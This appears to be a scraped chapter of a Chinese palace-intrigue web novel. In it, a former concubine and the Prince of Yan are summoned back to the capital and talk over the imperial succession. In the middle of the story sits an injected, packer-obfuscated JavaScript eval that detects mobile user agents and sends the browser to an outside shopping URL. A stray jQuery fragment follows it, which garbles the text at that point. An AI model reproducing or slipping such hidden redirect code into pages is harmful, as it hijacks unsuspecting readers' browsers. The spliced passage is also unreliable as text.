默认冷灰
24号文字
方正启体

20. 汝非吾君

作者:永宁火本书字数:K更新时间:
    ”陛下怎么会知道的?”娄庄姬大惊失色。


    “我已经派人去打探消息了,还要再等一段时间。”皇甫澍在房间踱步,面色凝重。


    娄庄姬拧着眉头,冥思苦想。


    “这件事情,宫里知道的人只有冯公公和素砚,宫外知道的人,无非你、我还有,”她突然停顿了一下,指向一旁的狄平,“你?”


    “夫人疑心是我泄密?在下绝不会做出背友求荣的肮脏事。”


    狄平眼神笃定。皇甫澍也帮衬道:“子恒与我交情深厚,我对他是信任的。”


    娄庄姬很困惑地摇头:“那难道是宫里的人?还是当年办差的人传出去的?”


    “总之,是谁传的无关紧要,重要的是我们该如何应对,”狄平说,“二位是如何打算?回去,还是不回去?”


    一段短暂的死寂。


    皇甫澍先说:“肯定要回去,我们不能抗旨,抗旨必然罪加一等。”


    “我们的罪已经够大了,倒是不怕再加一等。”娄庄姬苦笑。


    “就算不走,父皇也会派人来把我们押送回去,结果是一样的。”


    “天哪,就没有一点回转的余地吗?”娄庄姬痛苦万分,皇甫澍扶住她。


    “陛下给我们的罪名是什么?私通?祸乱后宫?罔顾礼法?”她问。


    狄平摇头,说:“很奇怪,陛下只指责燕王串通您策划假死离宫,藐视天威。之后的事情,比如您二人的结合,却只字未提。”


    娄庄姬喘了口气,回过神来,强迫自己冷静道:


    “意思是说,陛下可能不知道,燕王侍妾就是我。”


    “也不能确定。只凭圣旨上的短短几句话,判断不出更多东西了。”


    皇甫澍说:


    “父皇是通情达理之人,兴许回去之后,他问清事情真相就会宽恕我们。”


    娄庄姬并未因此而安心。


    就在这时,一个传令兵急急忙忙地叩门,说陛下密信到了。应该是在发出圣旨后,紧随其后跟来的。三人连忙拆开信,一目十行地读着。


    信中提供的信息更多一些。


    首先,是说娄庄姬以前的侍女素砚将当年的事情真相告诉了贵妃,贵妃又禀告了皇上。娄庄姬一见,心如刀绞,不敢相信背叛发生在自己身边。


    接着,皇帝质问,当年与北狄作战时,那个神秘谋士是不是就是娄庄姬,如果是的话,她现在在何处,务必把她一同带回来面圣,阐明当时事情缘由。


    “陛下还是相信您的才华的,认为夫人您可以做谋士。”狄平想缓解一下紧张的气氛,可惜两个人面容紧绷,连一丝笑影儿都没有。


    然后,是他的怒斥,痛骂皇甫澍不忠不孝,协助天子妃嫔出宫,欺君瞒上,罪无可恕。


    最后,他话锋又一转,说只要皇甫澍把娄庄姬送回来,他可以顾念父子恩情,加之念及他的赫赫战功,从宽处理。强调:不许拖延!


    娄庄姬挤出一个笑说:“你看,陛下说会对你从宽处理。”


    “是。但你怎么办呢?”


    “自当按照宫规处理,我有错在先,早就料到会有受罚的这一天了。”


    “不行,我们没有错,我们两情相悦,一同为国效力,父皇若是承认你的功劳,就会将功折罪,不会处罚你的。”


    “难说。”娄庄姬攥紧了他的手,他从颤抖中感受到了她的惧怕。


    “父皇把你留在宫廷里是不应该的,是屈才。你在宫廷里那么痛苦,可只要一走到外面来,你就有无限的作为,父皇应该看到这一点。”皇甫澍咬着牙说。


    “陛下没有看到,你看到了,就够了。”


    两个人紧紧靠在一起。


    狄平开口道:“如此看来,陛下会怎么处理还不是定数,一切只有回京后才能知晓。如何,如果您二位打定主意要走的话,我们何日启程?”


    “回去吗?”


    “不得不回去,”娄庄姬最终下定了决心,“让府里人速速收拾行装,我们最晚后日出发。”


    狄平领命,退了出去。


    娄庄姬又对皇甫澍说:“你也抓紧去安排军中的事情吧。北狄人忌惮你的名号,若是知道你回京,恐边境又将生乱。”


    “我知道,”皇甫澍面色犹豫,“你真的决定要回去吗?我可以跟陛下说,他得知的是假消息,或者你不在这里,或者···”


    “你瞧瞧,这不加了一重欺君之罪吗?”


    “回去后要面对什么,我们完全不知道。“


    “不要太担心了,会没事的。”


    “我们的罪很重。”


    “看着我,”娄庄姬捧住他的脸,严肃地确认,“相信我,我们不会有事的。”


    皇甫澍败下阵来,只能无力地牵着她的手,絮絮道:“我只想我们好好过日子。”


    娄庄姬让他把头靠在自己肩上,像哄小孩一样抚摸他的脊背,一滴眼泪慢慢滑下她的脸颊。


    燕王府经历了天翻地覆的两日,到了出发的时候,府门口不只有装载人和行李的马车,还有精锐甲士。未来的旅途山高水远危险重重,不得不做好防范。


    这样的路程,也不适合带上孩子。


    分别时,两人不舍地拥抱着皇甫妤,殷切地嘱咐。妤儿紧紧抓住娄庄姬的一缕头发,似乎还不知道发生了什么,没有哭,却更让人怜爱。


    太守夫人把她抱到自己怀里,哄着她说:“你跟着阿姨住几天,等你住腻了,爹娘就回来接你喽。我们小宝贝很坚强,才不哭呢,是不是?”


    “过几天,等她意识到我们不在了就会哭了。”


    “小孩子忘事很快的,更难受的反而是大人。”


    娄庄姬抚摸着她的小脸。


    “我们不能陪她,她一定要平安长大。”


    去往京师的路途比离开时要凶险百倍。他们一行人几次在人烟稀少的地方,遇到伪装成山贼的军队,意图谋害。幸好燕王的护卫部队也不是吃素的,这些阴招没有一次得手过。皇甫澍审问俘虏,他们说是袁国舅的部队。娄庄姬嘲笑道:


    “哼,袁国舅徒有其名,仗着姐姐得宠,一个书都没读通的纨绔子弟,仗也没打过就挂了个将军的名号,手下的部队,也只能在深山老林扮扮山贼,做些见不得人的勾当了。”


    皇甫澍则望着南边京师的方向,面色凝重。


    晚上,马车里,娄庄姬问了他一个问题:“你说真话,你对你父皇是什么样的感情?”


    “作为臣子,我效忠于他;作为儿子,我孝顺他。”


    “还有吗?”


    “还有什么?你想听到什么?”


    “我不知道还有什么,我要听你自己说出来。”


    皇甫澍深深叹了一口气。


    “我不说实话,你肯定不会放过我。”


    “知道就好。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974362|193489||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “前十八年,我心里一直没有他,他心里也没有我。后来,我尝试过把他放回我的心里,很难,我做不到。你,母亲,还有妤儿,杜相,在我心里都比他重要的多。”


    “你可真不是个好儿子。”


    “是的,”他自嘲地笑,“他也不是个好父亲,不是吗?诚弟告诉我,他每次见父皇都害怕,怕他身上那一股烟熏味,父皇只要一捏他的脸,他就感到脸上火辣辣的。”


    娄庄姬也笑了。车厢外,兵士们在吃饭喝酒,吵吵嚷嚷的,她的笑被掩埋了。


    她紧接着又问:“如果,让你和二皇子争皇位,你会怎么做?”


    皇甫澍眼神闪过惊诧:”争夺储君之位?我没想过。”


    “你就当我是在随堂考你,你想一个回答出来就好。”


    “我们不能在这里谈这个。”


    “不会有人听见的,说吧。”


    皇甫澍凝神思考了片刻,答道:


    “若我想争夺,杜相和他的党羽、门生会支持,贵妃一党会阻挠,其他人会观望摇摆。我们要做的,就是放大自己的优势,铲除异己,再简单不过的道理。”


    “你这不就是什么也没说嘛。”


    “这种事情,怎么敢乱想。”


    “你不想,你的对手可是昼思夜想,”娄庄姬盯着他,“但你的赢面比他大多了。他还只是个孩子,什么功绩都没有。而你,你军功无数,支持者远远超过他,只要你愿意,皇位不会落到别家去。”


    “有一点你没有想到。”


    “哪一点?”


    “诚弟从来没有犯过大错。而我呢,我与父皇宠爱的嫔妃私奔,世人随时会给我扣一个不忠不孝、灭绝人伦的帽子,我德行有缺,怎么能继承大统呢?”


    娄庄姬沉默了半晌。


    “聊这些做什么,明天还要赶路,你早些歇息吧。”


    黑暗中,娄庄姬在心里想到:总会有办法的。


    到了京师,他们发现街头巷尾的舆论早已沸沸扬扬,他们早已成了百姓议论的焦点。二人不禁皱眉,皇家密辛怎能轻易外传,还任由人编排。


    不过,他们很快发现这些议论并不都是贬损他们失节的。桃色秘闻肯定有,但另一种甚嚣尘上的说法是,娄庄姬对皇甫澍有养母之恩,二人均有志于报效家国,所以一同计划潜逃出宫。在这则传闻中,二人形象极其伟大,他们听着怪不好意思的。


    狄平暂时告假了长史的职务,跟随他们,达到京师后便与他们同乘。


    “二位有没有听过,说你们是不满于昏君,才携手出逃的。”


    “这种谣言,陛下就放任它传播?”


    “陛下哪管得到每一个百姓的嘴?”


    “恐怕对我二人不利吧。”


    “在陛下面前不利,在民心之中,有利。”


    马车辘辘地驶进宫门。


    再次回到熟悉的地方,这里的红墙黛瓦还是没有变,只是多了些岁月的痕迹。宫道上,随处可见宽袍大袖、头戴莲冠的道士,和散发着漫天熏烟的丹炉,把皇宫笼罩在灰暗神秘的气氛中。


    娄庄姬的心砰砰直跳。她将见到很多熟悉的人,他们此时处于同一个空间中,柳慈、素砚、贵妃、皇帝,他们的心仿佛串在了一起,牵动着她的神经。她面色苍白,几乎要出冷汗了。


    这时皇甫澍牵住了她的手。凭这一个动作,她很快就平静下来。接下来,要去面圣。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)